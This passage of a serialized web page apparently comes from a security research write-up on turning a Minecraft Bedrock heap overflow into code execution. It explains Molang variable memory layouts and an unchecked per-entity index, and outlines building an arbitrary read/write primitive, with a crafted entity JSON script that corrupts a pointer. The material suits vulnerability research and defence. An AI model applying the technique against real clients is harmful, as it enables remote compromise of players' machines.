{\n",{"type":19,"tag":168,"props":150177,"children":150178},{"class":170,"line":725},[150179,150184],{"type":19,"tag":168,"props":150180,"children":150181},{"style":382},[150182],{"type":24,"value":150183}," uint32_t",{"type":19,"tag":168,"props":150185,"children":150186},{"style":212},[150187],{"type":24,"value":150188}," value_type;\n",{"type":19,"tag":168,"props":150190,"children":150191},{"class":170,"line":746},[150192,150196],{"type":19,"tag":168,"props":150193,"children":150194},{"style":382},[150195],{"type":24,"value":150136},{"type":19,"tag":168,"props":150197,"children":150198},{"style":212},[150199],{"type":24,"value":150200}," value;\n",{"type":19,"tag":168,"props":150202,"children":150203},{"class":170,"line":755},[150204,150209,150213,150217,150222,150226],{"type":19,"tag":168,"props":150205,"children":150206},{"style":212},[150207],{"type":24,"value":150208}," std::vector",{"type":19,"tag":168,"props":150210,"children":150211},{"style":399},[150212],{"type":24,"value":3240},{"type":19,"tag":168,"props":150214,"children":150215},{"style":382},[150216],{"type":24,"value":6842},{"type":19,"tag":168,"props":150218,"children":150219},{"style":212},[150220],{"type":24,"value":150221}," MolangScriptArg",{"type":19,"tag":168,"props":150223,"children":150224},{"style":399},[150225],{"type":24,"value":7905},{"type":19,"tag":168,"props":150227,"children":150228},{"style":212},[150229],{"type":24,"value":150230}," struct_fields;\n",{"type":19,"tag":168,"props":150232,"children":150233},{"class":170,"line":1008},[150234],{"type":19,"tag":168,"props":150235,"children":150236},{"style":212},[150237],{"type":24,"value":150238}," \n",{"type":19,"tag":168,"props":150240,"children":150241},{"class":170,"line":1025},[150242],{"type":19,"tag":168,"props":150243,"children":150244},{"style":212},[150245],{"type":24,"value":121526},{"type":19,"tag":168,"props":150247,"children":150248},{"class":170,"line":1042},[150249],{"type":19,"tag":168,"props":150250,"children":150251},{"style":212},[150252],{"type":24,"value":36472},{"type":19,"tag":168,"props":150254,"children":150255},{"class":170,"line":1055},[150256],{"type":19,"tag":168,"props":150257,"children":150258},{"style":212},[150259],{"type":24,"value":14026},{"type":19,"tag":20,"props":150261,"children":150262},{},[150263,150265,150270],{"type":24,"value":150264},"In memory a ",{"type":19,"tag":27,"props":150266,"children":150268},{"className":150267},[],[150269],{"type":24,"value":150088},{"type":24,"value":150271}," instance resembles:",{"type":19,"tag":158,"props":150273,"children":150275},{"code":150274}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[150276],{"type":19,"tag":27,"props":150277,"children":150278},{"__ignoreMap":7},[150279],{"type":24,"value":150274},{"type":19,"tag":20,"props":150281,"children":150282},{},[150283],{"type":24,"value":150284},"For reference, example debugger view of the layout:",{"type":19,"tag":20,"props":150286,"children":150287},{},[150288],{"type":19,"tag":1344,"props":150289,"children":150291},{"alt":48061,"src":150290},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":19,"tag":20,"props":150293,"children":150294},{},[150295],{"type":24,"value":150296},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":19,"tag":20,"props":150298,"children":150299},{},[150300,150302,150308,150310,150315,150317,150323,150325,150330,150331,150336,150338,150343,150344,150350,150351,150357],{"type":24,"value":150301},"We only care about the ",{"type":19,"tag":27,"props":150303,"children":150305},{"className":150304},[],[150306],{"type":24,"value":150307},"MolangScriptArg",{"type":24,"value":150309}," beginning at offset ",{"type":19,"tag":27,"props":150311,"children":150313},{"className":150312},[],[150314],{"type":24,"value":126405},{"type":24,"value":150316}," because it contains variable values. In the screenshot above, the ",{"type":19,"tag":27,"props":150318,"children":150320},{"className":150319},[],[150321],{"type":24,"value":150322},"value_type",{"type":24,"value":150324}," at ",{"type":19,"tag":27,"props":150326,"children":150328},{"className":150327},[],[150329],{"type":24,"value":126405},{"type":24,"value":2934},{"type":19,"tag":27,"props":150332,"children":150334},{"className":150333},[],[150335],{"type":24,"value":1452},{"type":24,"value":150337}," (meaning float), and the ",{"type":19,"tag":27,"props":150339,"children":150341},{"className":150340},[],[150342],{"type":24,"value":36627},{"type":24,"value":150324},{"type":19,"tag":27,"props":150345,"children":150347},{"className":150346},[],[150348],{"type":24,"value":150349},"0x38",{"type":24,"value":2934},{"type":19,"tag":27,"props":150352,"children":150354},{"className":150353},[],[150355],{"type":24,"value":150356},"0xbf2070c8",{"type":24,"value":948},{"type":19,"tag":20,"props":150359,"children":150360},{},[150361,150363,150369,150371,150376,150378,150383,150384,150389,150391,150396,150398,150403],{"type":24,"value":150362},"During assignment, such as ",{"type":19,"tag":27,"props":150364,"children":150366},{"className":150365},[],[150367],{"type":24,"value":150368},"variable.a = variable.b",{"type":24,"value":150370},", each field of ",{"type":19,"tag":27,"props":150372,"children":150374},{"className":150373},[],[150375],{"type":24,"value":150307},{"type":24,"value":150377}," is copied from variable ",{"type":19,"tag":27,"props":150379,"children":150381},{"className":150380},[],[150382],{"type":24,"value":621},{"type":24,"value":54260},{"type":19,"tag":27,"props":150385,"children":150387},{"className":150386},[],[150388],{"type":24,"value":269},{"type":24,"value":150390},". Interestingly, the ",{"type":19,"tag":27,"props":150392,"children":150394},{"className":150393},[],[150395],{"type":24,"value":36627},{"type":24,"value":150397}," field is always copied as a ",{"type":19,"tag":27,"props":150399,"children":150401},{"className":150400},[],[150402],{"type":24,"value":53118},{"type":24,"value":150404}," even if the type is a 32-bit float.",{"type":19,"tag":20,"props":150406,"children":150407},{},[150408,150410,150416],{"type":24,"value":150409},"Each entity stores its variables in a per-entity vector called ",{"type":19,"tag":27,"props":150411,"children":150413},{"className":150412},[],[150414],{"type":24,"value":150415},"MolangVariableMap",{"type":24,"value":948},{"type":19,"tag":16345,"props":150418,"children":150420},{"id":150419},"molangvariablemap",[150421],{"type":24,"value":150415},{"type":19,"tag":20,"props":150423,"children":150424},{},[150425,150430,150432,150438,150440,150446],{"type":19,"tag":27,"props":150426,"children":150428},{"className":150427},[],[150429],{"type":24,"value":150415},{"type":24,"value":150431}," is simply a ",{"type":19,"tag":27,"props":150433,"children":150435},{"className":150434},[],[150436],{"type":24,"value":150437},"std::vector\u003CMolangVariable *>",{"type":24,"value":150439}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":19,"tag":27,"props":150441,"children":150443},{"className":150442},[],[150444],{"type":24,"value":150445},"std::vector",{"type":24,"value":150447}," layout:",{"type":19,"tag":158,"props":150449,"children":150451},{"code":150450,"language":543,"meta":7,"className":13963,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[150452],{"type":19,"tag":27,"props":150453,"children":150454},{"__ignoreMap":7},[150455,150467,150483,150499,150515],{"type":19,"tag":168,"props":150456,"children":150457},{"class":170,"line":171},[150458,150462],{"type":19,"tag":168,"props":150459,"children":150460},{"style":382},[150461],{"type":24,"value":6842},{"type":19,"tag":168,"props":150463,"children":150464},{"style":212},[150465],{"type":24,"value":150466}," vector {\n",{"type":19,"tag":168,"props":150468,"children":150469},{"class":170,"line":198},[150470,150474,150478],{"type":19,"tag":168,"props":150471,"children":150472},{"style":382},[150473],{"type":24,"value":13996},{"type":19,"tag":168,"props":150475,"children":150476},{"style":399},[150477],{"type":24,"value":7259},{"type":19,"tag":168,"props":150479,"children":150480},{"style":212},[150481],{"type":24,"value":150482},"buf;\n",{"type":19,"tag":168,"props":150484,"children":150485},{"class":170,"line":415},[150486,150490,150494],{"type":19,"tag":168,"props":150487,"children":150488},{"style":382},[150489],{"type":24,"value":13996},{"type":19,"tag":168,"props":150491,"children":150492},{"style":399},[150493],{"type":24,"value":7259},{"type":19,"tag":168,"props":150495,"children":150496},{"style":212},[150497],{"type":24,"value":150498},"len;\n",{"type":19,"tag":168,"props":150500,"children":150501},{"class":170,"line":450},[150502,150506,150510],{"type":19,"tag":168,"props":150503,"children":150504},{"style":382},[150505],{"type":24,"value":13996},{"type":19,"tag":168,"props":150507,"children":150508},{"style":399},[150509],{"type":24,"value":7259},{"type":19,"tag":168,"props":150511,"children":150512},{"style":212},[150513],{"type":24,"value":150514},"cap;\n",{"type":19,"tag":168,"props":150516,"children":150517},{"class":170,"line":560},[150518],{"type":19,"tag":168,"props":150519,"children":150520},{"style":212},[150521],{"type":24,"value":14026},{"type":19,"tag":20,"props":150523,"children":150524},{},[150525,150530,150532,150537,150539,150545,150547,150552,150553,150558],{"type":19,"tag":27,"props":150526,"children":150528},{"className":150527},[],[150529],{"type":24,"value":147611},{"type":24,"value":150531}," points to the allocated array of elements, ",{"type":19,"tag":27,"props":150533,"children":150535},{"className":150534},[],[150536],{"type":24,"value":6579},{"type":24,"value":150538}," points just past the last used element, and ",{"type":19,"tag":27,"props":150540,"children":150542},{"className":150541},[],[150543],{"type":24,"value":150544},"cap",{"type":24,"value":150546}," points to the end of the allocated buffer. Notably, the types of ",{"type":19,"tag":27,"props":150548,"children":150550},{"className":150549},[],[150551],{"type":24,"value":6579},{"type":24,"value":8436},{"type":19,"tag":27,"props":150554,"children":150556},{"className":150555},[],[150557],{"type":24,"value":150544},{"type":24,"value":150559}," aren't typical integer types for sizes, but both are pointers.",{"type":19,"tag":20,"props":150561,"children":150562},{},[150563],{"type":24,"value":150564},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":19,"tag":158,"props":150566,"children":150568},{"code":150567},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[150569],{"type":19,"tag":27,"props":150570,"children":150571},{"__ignoreMap":7},[150572],{"type":24,"value":150567},{"type":19,"tag":20,"props":150574,"children":150575},{},[150576,150578,150584,150586,150592],{"type":24,"value":150577},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":19,"tag":27,"props":150579,"children":150581},{"className":150580},[],[150582],{"type":24,"value":150583},"variable.result",{"type":24,"value":150585},") may differ between entities. To get around this, ",{"type":19,"tag":27,"props":150587,"children":150589},{"className":150588},[],[150590],{"type":24,"value":150591},"MolangIndexMap",{"type":24,"value":150593}," is used to map a global variable name to the correct per-entity slot.",{"type":19,"tag":16345,"props":150595,"children":150597},{"id":150596},"molangindexmap",[150598],{"type":24,"value":150591},{"type":19,"tag":20,"props":150600,"children":150601},{},[150602,150607,150609,150615,150617,150623],{"type":19,"tag":27,"props":150603,"children":150605},{"className":150604},[],[150606],{"type":24,"value":150591},{"type":24,"value":150608}," is a per-entity ",{"type":19,"tag":27,"props":150610,"children":150612},{"className":150611},[],[150613],{"type":24,"value":150614},"std::vector\u003Cuint16_t>",{"type":24,"value":150616},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":19,"tag":27,"props":150618,"children":150620},{"className":150619},[],[150621],{"type":24,"value":150622},"variable.result = 0",{"type":24,"value":150624}," it:",{"type":19,"tag":2869,"props":150626,"children":150627},{},[150628,150638,150648],{"type":19,"tag":47,"props":150629,"children":150630},{},[150631,150633],{"type":24,"value":150632},"Checks the global hashmap for ",{"type":19,"tag":27,"props":150634,"children":150636},{"className":150635},[],[150637],{"type":24,"value":6522},{"type":19,"tag":47,"props":150639,"children":150640},{},[150641,150643],{"type":24,"value":150642},"If found, uses the global index to look up the per-entity index in ",{"type":19,"tag":27,"props":150644,"children":150646},{"className":150645},[],[150647],{"type":24,"value":150591},{"type":19,"tag":47,"props":150649,"children":150650},{},[150651,150653],{"type":24,"value":150652},"If not found, creates a new global entry and assigns it ",{"type":19,"tag":27,"props":150654,"children":150656},{"className":150655},[],[150657],{"type":24,"value":150658},"last_index + 1",{"type":19,"tag":20,"props":150660,"children":150661},{},[150662,150664,150669,150671,150676,150678,150683,150685,150690,150692,150697,150698,150704,150706,150711],{"type":24,"value":150663},"This means the same global index for variable ",{"type":19,"tag":27,"props":150665,"children":150667},{"className":150666},[],[150668],{"type":24,"value":6522},{"type":24,"value":150670}," maps to the same position inside every entity’s ",{"type":19,"tag":27,"props":150672,"children":150674},{"className":150673},[],[150675],{"type":24,"value":150591},{"type":24,"value":150677},", but the actual ",{"type":19,"tag":27,"props":150679,"children":150681},{"className":150680},[],[150682],{"type":24,"value":150088},{"type":24,"value":150684}," for ",{"type":19,"tag":27,"props":150686,"children":150688},{"className":150687},[],[150689],{"type":24,"value":6522},{"type":24,"value":150691}," may live at different slots inside each entity's ",{"type":19,"tag":27,"props":150693,"children":150695},{"className":150694},[],[150696],{"type":24,"value":150415},{"type":24,"value":15983},{"type":19,"tag":27,"props":150699,"children":150701},{"className":150700},[],[150702],{"type":24,"value":150703},"Entity.MolangIndexMap[global_index]",{"type":24,"value":150705}," stores the per-entity index (slot) of variable ",{"type":19,"tag":27,"props":150707,"children":150709},{"className":150708},[],[150710],{"type":24,"value":6522},{"type":24,"value":948},{"type":19,"tag":20,"props":150713,"children":150714},{},[150715,150717,150722,150724,150729,150731,150736,150738,150743,150745,150751,150753,150758],{"type":24,"value":150716},"Importantly, we found that indices in the ",{"type":19,"tag":27,"props":150718,"children":150720},{"className":150719},[],[150721],{"type":24,"value":150591},{"type":24,"value":150723}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":19,"tag":27,"props":150725,"children":150727},{"className":150726},[],[150728],{"type":24,"value":150415},{"type":24,"value":150730},". This means that if we overwrite the index of variable ",{"type":19,"tag":27,"props":150732,"children":150734},{"className":150733},[],[150735],{"type":24,"value":6522},{"type":24,"value":150737}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":19,"tag":27,"props":150739,"children":150741},{"className":150740},[],[150742],{"type":24,"value":150415},{"type":24,"value":150744},", we could read from and write to ",{"type":19,"tag":27,"props":150746,"children":150748},{"className":150747},[],[150749],{"type":24,"value":150750},"address + 0x38",{"type":24,"value":150752}," through ",{"type":19,"tag":27,"props":150754,"children":150756},{"className":150755},[],[150757],{"type":24,"value":150583},{"type":24,"value":948},{"type":19,"tag":7050,"props":150760,"children":150762},{"id":150761},"building-a-molang-arbitrary-rw-primitive",[150763],{"type":24,"value":150764},"Building a Molang Arbitrary R/W Primitive",{"type":19,"tag":20,"props":150766,"children":150767},{},[150768,150770,150775,150777,150782],{"type":24,"value":150769},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":19,"tag":27,"props":150771,"children":150773},{"className":150772},[],[150774],{"type":24,"value":150445},{"type":24,"value":150776}," - specifically, of ",{"type":19,"tag":27,"props":150778,"children":150780},{"className":150779},[],[150781],{"type":24,"value":150415},{"type":24,"value":150783}," vector.",{"type":19,"tag":20,"props":150785,"children":150786},{},[150787,150789,150794,150796,150801,150802,150807,150809,150814],{"type":24,"value":150788},"Because every entity object is heap-allocated and contains a ",{"type":19,"tag":27,"props":150790,"children":150792},{"className":150791},[],[150793],{"type":24,"value":150415},{"type":24,"value":150795}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":19,"tag":27,"props":150797,"children":150799},{"className":150798},[],[150800],{"type":24,"value":147611},{"type":24,"value":53275},{"type":19,"tag":27,"props":150803,"children":150805},{"className":150804},[],[150806],{"type":24,"value":150415},{"type":24,"value":150808}," vector belonging to an entity object placed just next the ",{"type":19,"tag":27,"props":150810,"children":150812},{"className":150811},[],[150813],{"type":24,"value":150415},{"type":24,"value":150815}," allocated buffer.",{"type":19,"tag":158,"props":150817,"children":150819},{"code":150818}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[150820],{"type":19,"tag":27,"props":150821,"children":150822},{"__ignoreMap":7},[150823],{"type":24,"value":150818},{"type":19,"tag":20,"props":150825,"children":150826},{},[150827,150829,150834,150836,150842,150844,150849,150850,150856,150857,150862,150864,150869,150871,150876,150878,150883,150885,150890,150892,150897,150899,150904,150906,150912,150914,150919,150921,150926],{"type":24,"value":150828},"In the scenario above, the ",{"type":19,"tag":27,"props":150830,"children":150832},{"className":150831},[],[150833],{"type":24,"value":150591},{"type":24,"value":150835}," would map ",{"type":19,"tag":27,"props":150837,"children":150839},{"className":150838},[],[150840],{"type":24,"value":150841},"variable.a",{"type":24,"value":150843}," -> index ",{"type":19,"tag":27,"props":150845,"children":150847},{"className":150846},[],[150848],{"type":24,"value":1452},{"type":24,"value":471},{"type":19,"tag":27,"props":150851,"children":150853},{"className":150852},[],[150854],{"type":24,"value":150855},"variable.b",{"type":24,"value":150843},{"type":19,"tag":27,"props":150858,"children":150860},{"className":150859},[],[150861],{"type":24,"value":1442},{"type":24,"value":150863},", and so on. If we overwrite the index for ",{"type":19,"tag":27,"props":150865,"children":150867},{"className":150866},[],[150868],{"type":24,"value":150841},{"type":24,"value":150870}," with a value that is out-of-bounds for the ",{"type":19,"tag":27,"props":150872,"children":150874},{"className":150873},[],[150875],{"type":24,"value":150415},{"type":24,"value":150877},", it can instead index the ",{"type":19,"tag":27,"props":150879,"children":150881},{"className":150880},[],[150882],{"type":24,"value":147611},{"type":24,"value":150884}," field of the entity object above. Reading ",{"type":19,"tag":27,"props":150886,"children":150888},{"className":150887},[],[150889],{"type":24,"value":150841},{"type":24,"value":150891}," will then return the pointer stored at offset ",{"type":19,"tag":27,"props":150893,"children":150895},{"className":150894},[],[150896],{"type":24,"value":150349},{"type":24,"value":150898}," from the start of the ",{"type":19,"tag":27,"props":150900,"children":150902},{"className":150901},[],[150903],{"type":24,"value":150415},{"type":24,"value":150905}," (which in this diagram corresponds to ",{"type":19,"tag":27,"props":150907,"children":150909},{"className":150908},[],[150910],{"type":24,"value":150911},"variable.f",{"type":24,"value":150913},"), and writing to ",{"type":19,"tag":27,"props":150915,"children":150917},{"className":150916},[],[150918],{"type":24,"value":150841},{"type":24,"value":150920}," will overwrite that pointer - corrupting ",{"type":19,"tag":27,"props":150922,"children":150924},{"className":150923},[],[150925],{"type":24,"value":150911},{"type":24,"value":948},{"type":19,"tag":20,"props":150928,"children":150929},{},[150930,150932,150937,150938,150944,150946,150951,150953,150959,150961,150966,150968,150973,150975,150981,150983,150989,150991,150996],{"type":24,"value":150931},"To leak the address of the Minecraft executable we could increment ",{"type":19,"tag":27,"props":150933,"children":150935},{"className":150934},[],[150936],{"type":24,"value":150841},{"type":24,"value":461},{"type":19,"tag":27,"props":150939,"children":150941},{"className":150940},[],[150942],{"type":24,"value":150943},"variable.a += 8",{"type":24,"value":150945},"), which advances the pointer used for ",{"type":19,"tag":27,"props":150947,"children":150949},{"className":150948},[],[150950],{"type":24,"value":150911},{"type":24,"value":150952}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":19,"tag":27,"props":150954,"children":150956},{"className":150955},[],[150957],{"type":24,"value":150958},"variable.a = variable.exe_leak + \u003Coffset>",{"type":24,"value":150960}," - this updates the ",{"type":19,"tag":27,"props":150962,"children":150964},{"className":150963},[],[150965],{"type":24,"value":150911},{"type":24,"value":150967}," pointer to our chosen address, and writing to ",{"type":19,"tag":27,"props":150969,"children":150971},{"className":150970},[],[150972],{"type":24,"value":150911},{"type":24,"value":150974},", for example ",{"type":19,"tag":27,"props":150976,"children":150978},{"className":150977},[],[150979],{"type":24,"value":150980},"variable.f = 1337",{"type":24,"value":150982},", writes the value ",{"type":19,"tag":27,"props":150984,"children":150986},{"className":150985},[],[150987],{"type":24,"value":150988},"1337",{"type":24,"value":150990}," to offset ",{"type":19,"tag":27,"props":150992,"children":150994},{"className":150993},[],[150995],{"type":24,"value":150349},{"type":24,"value":150997}," from that calculated address.",{"type":19,"tag":16345,"props":150999,"children":151001},{"id":151000},"testing-the-idea",[151002],{"type":24,"value":151003},"Testing the Idea",{"type":19,"tag":20,"props":151005,"children":151006},{},[151007,151009,151014,151016,151021,151023,151028],{"type":24,"value":151008},"We tested the idea by manually adding a pointer to the start of ",{"type":19,"tag":27,"props":151010,"children":151012},{"className":151011},[],[151013],{"type":24,"value":150415},{"type":24,"value":151015}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":19,"tag":293,"props":151017,"children":151018},{},[151019],{"type":24,"value":151020},"almost",{"type":24,"value":151022}," worked - below is the state of the ",{"type":19,"tag":27,"props":151024,"children":151026},{"className":151025},[],[151027],{"type":24,"value":150415},{"type":24,"value":151029},"'s allocated buffer before the Molang script executes:",{"type":19,"tag":20,"props":151031,"children":151032},{},[151033],{"type":19,"tag":1344,"props":151034,"children":151036},{"alt":48061,"src":151035},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":19,"tag":20,"props":151038,"children":151039},{},[151040],{"type":24,"value":151041},"And this is after execution:",{"type":19,"tag":20,"props":151043,"children":151044},{},[151045],{"type":19,"tag":1344,"props":151046,"children":151048},{"alt":48061,"src":151047},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":19,"tag":20,"props":151050,"children":151051},{},[151052],{"type":24,"value":151053},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":19,"tag":158,"props":151055,"children":151057},{"code":151056,"language":31471,"meta":7,"className":31469,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[151058],{"type":19,"tag":27,"props":151059,"children":151060},{"__ignoreMap":7},[151061,151068,151089,151101,151113,151134,151141,151148,151155,151167,151180,151192,151204,151216,151232,151239,151251,151259,151267,151274,151281,151288],{"type":19,"tag":168,"props":151062,"children":151063},{"class":170,"line":171},[151064],{"type":19,"tag":168,"props":151065,"children":151066},{"style":212},[151067],{"type":24,"value":8324},{"type":19,"tag":168,"props":151069,"children":151070},{"class":170,"line":198},[151071,151076,151080,151085],{"type":19,"tag":168,"props":151072,"children":151073},{"style":393},[151074],{"type":24,"value":151075}," \"format_version\"",{"type":19,"tag":168,"props":151077,"children":151078},{"style":212},[151079],{"type":24,"value":12778},{"type":19,"tag":168,"props":151081,"children":151082},{"style":181},[151083],{"type":24,"value":151084},"\"1.10.0\"",{"type":19,"tag":168,"props":151086,"children":151087},{"style":212},[151088],{"type":24,"value":915},{"type":19,"tag":168,"props":151090,"children":151091},{"class":170,"line":415},[151092,151097],{"type":19,"tag":168,"props":151093,"children":151094},{"style":393},[151095],{"type":24,"value":151096}," \"minecraft:client_entity\"",{"type":19,"tag":168,"props":151098,"children":151099},{"style":212},[151100],{"type":24,"value":34497},{"type":19,"tag":168,"props":151102,"children":151103},{"class":170,"line":450},[151104,151109],{"type":19,"tag":168,"props":151105,"children":151106},{"style":393},[151107],{"type":24,"value":151108}," \"description\"",{"type":19,"tag":168,"props":151110,"children":151111},{"style":212},[151112],{"type":24,"value":34497},{"type":19,"tag":168,"props":151114,"children":151115},{"class":170,"line":560},[151116,151121,151125,151130],{"type":19,"tag":168,"props":151117,"children":151118},{"style":393},[151119],{"type":24,"value":151120}," \"identifier\"",{"type":19,"tag":168,"props":151122,"children":151123},{"style":212},[151124],{"type":24,"value":12778},{"type":19,"tag":168,"props":151126,"children":151127},{"style":181},[151128],{"type":24,"value":151129},"\"minecraft:leash_knot\"",{"type":19,"tag":168,"props":151131,"children":151132},{"style":212},[151133],{"type":24,"value":915},{"type":19,"tag":168,"props":151135,"children":151136},{"class":170,"line":666},[151137],{"type":19,"tag":168,"props":151138,"children":151139},{"emptyLinePlaceholder":14},[151140],{"type":24,"value":1093},{"type":19,"tag":168,"props":151142,"children":151143},{"class":170,"line":694},[151144],{"type":19,"tag":168,"props":151145,"children":151146},{"style":19862},[151147],{"type":24,"value":124928},{"type":19,"tag":168,"props":151149,"children":151150},{"class":170,"line":707},[151151],{"type":19,"tag":168,"props":151152,"children":151153},{"style":212},[151154],{"type":24,"value":150238},{"type":19,"tag":168,"props":151156,"children":151157},{"class":170,"line":725},[151158,151163],{"type":19,"tag":168,"props":151159,"children":151160},{"style":393},[151161],{"type":24,"value":151162}," \"scripts\"",{"type":19,"tag":168,"props":151164,"children":151165},{"style":212},[151166],{"type":24,"value":34497},{"type":19,"tag":168,"props":151168,"children":151169},{"class":170,"line":746},[151170,151175],{"type":19,"tag":168,"props":151171,"children":151172},{"style":393},[151173],{"type":24,"value":151174}," \"initialize\"",{"type":19,"tag":168,"props":151176,"children":151177},{"style":212},[151178],{"type":24,"value":151179},": [\n",{"type":19,"tag":168,"props":151181,"children":151182},{"class":170,"line":755},[151183,151188],{"type":19,"tag":168,"props":151184,"children":151185},{"style":181},[151186],{"type":24,"value":151187}," \"variable.a = 0;\"",{"type":19,"tag":168,"props":151189,"children":151190},{"style":212},[151191],{"type":24,"value":915},{"type":19,"tag":168,"props":151193,"children":151194},{"class":170,"line":1008},[151195,151200],{"type":19,"tag":168,"props":151196,"children":151197},{"style":181},[151198],{"type":24,"value":151199}," \"variable.b = 0;\"",{"type":19,"tag":168,"props":151201,"children":151202},{"style":212},[151203],{"type":24,"value":915},{"type":19,"tag":168,"props":151205,"children":151206},{"class":170,"line":1025},[151207,151212],{"type":19,"tag":168,"props":151208,"children":151209},{"style":181},[151210],{"type":24,"value":151211}," \"variable.c = 0;\"",{"type":19,"tag":168,"props":151213,"children":151214},{"style":212},[151215],{"type":24,"value":915},{"type":19,"tag":168,"props":151217,"children":151218},{"class":170,"line":1042},[151219,151224,151228],{"type":19,"tag":168,"props":151220,"children":151221},{"style":212},[151222],{"type":24,"value":151223}," [",{"type":19,"tag":168,"props":151225,"children":151226},{"style":19862},[151227],{"type":24,"value":7032},{"type":19,"tag":168,"props":151229,"children":151230},{"style":212},[151231],{"type":24,"value":9217},{"type":19,"tag":168,"props":151233,"children":151234},{"class":170,"line":1055},[151235],{"type":19,"tag":168,"props":151236,"children":151237},{"style":212},[151238],{"type":24,"value":41127},{"type":19,"tag":168,"props":151240,"children":151241},{"class":170,"line":1064},[151242,151247],{"type":19,"tag":168,"props":151243,"children":151244},{"style":393},[151245],{"type":24,"value":151246}," \"pre_animation\"",{"type":19,"tag":168,"props":151248,"children":151249},{"style":212},[151250],{"type":24,"value":151179},{"type":19,"tag":168,"props":151252,"children":151253},{"class":170,"line":1087},[151254],{"type":19,"tag":168,"props":151255,"children":151256},{"style":181},[151257],{"type":24,"value":151258}," \"variable.a = 2.310732e-27;\"\n",{"type":19,"tag":168,"props":151260,"children":151261},{"class":170,"line":1096},[151262],{"type":19,"tag":168,"props":151263,"children":151264},{"style":212},[151265],{"type":24,"value":151266}," ]\n",{"type":19,"tag":168,"props":151268,"children":151269},{"class":170,"line":1105},[151270],{"type":19,"tag":168,"props":151271,"children":151272},{"style":212},[151273],{"type":24,"value":34674},{"type":19,"tag":168,"props":151275,"children":151276},{"class":170,"line":1174},[151277],{"type":19,"tag":168,"props":151278,"children":151279},{"style":212},[151280],{"type":24,"value":761},{"type":19,"tag":168,"props":151282,"children":151283},{"class":170,"line":1182},[151284],{"type":19,"tag":168,"props":151285,"children":151286},{"style":212},[151287],{"type":24,"value":3306},{"type":19,"tag":168,"props":151289,"children":151290},{"class":170,"line":1212},[151291],{"type":19,"tag":168,"props":151292,"children":151293},{"style":212},[151294],{"type":24,"value":1326},{"type":19,"tag":20,"props":151296,"children":151297},{},[151298,151300,151305,151307,151312,151314,151319],{"type":24,"value":151299},"As shown, the pointer of a variable at offset ",{"type":19,"tag":27,"props":151301,"children":151303},{"className":151302},[],[151304],{"type":24,"value":150349},{"type":24,"value":151306}," was modified and the core concept works. During ",{"type":19,"tag":27,"props":151308,"children":151310},{"className":151309},[],[151311],{"type":24,"value":150307},{"type":24,"value":151313}," copy, pointers of some other variables above offset ",{"type":19,"tag":27,"props":151315,"children":151317},{"className":151316},[],[151318],{"type":24,"value":150349},{"type":24,"value":151320}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":19,"tag":20,"props":151322,"children":151323},{},[151324],{"type":24,"value":151325},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":19,"tag":43,"props":151327,"children":151328},{},[151329,151342],{"type":19,"tag":47,"props":151330,"children":151331},{},[151332,151334,151340],{"type":24,"value":151333},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":19,"tag":27,"props":151335,"children":151337},{"className":151336},[],[151338],{"type":24,"value":151339},"FLT_MAX",{"type":24,"value":151341},", the value becomes an invalid float causing the increment operation to fail.",{"type":19,"tag":47,"props":151343,"children":151344},{},[151345,151347,151352,151354,151359,151360,151365,151367,151372],{"type":24,"value":151346},"As noted before, during assignment, ",{"type":19,"tag":27,"props":151348,"children":151350},{"className":151349},[],[151351],{"type":24,"value":150307},{"type":24,"value":151353}," fields are copied, and the ",{"type":19,"tag":27,"props":151355,"children":151357},{"className":151356},[],[151358],{"type":24,"value":36627},{"type":24,"value":150397},{"type":19,"tag":27,"props":151361,"children":151363},{"className":151362},[],[151364],{"type":24,"value":53118},{"type":24,"value":151366},". Since our source 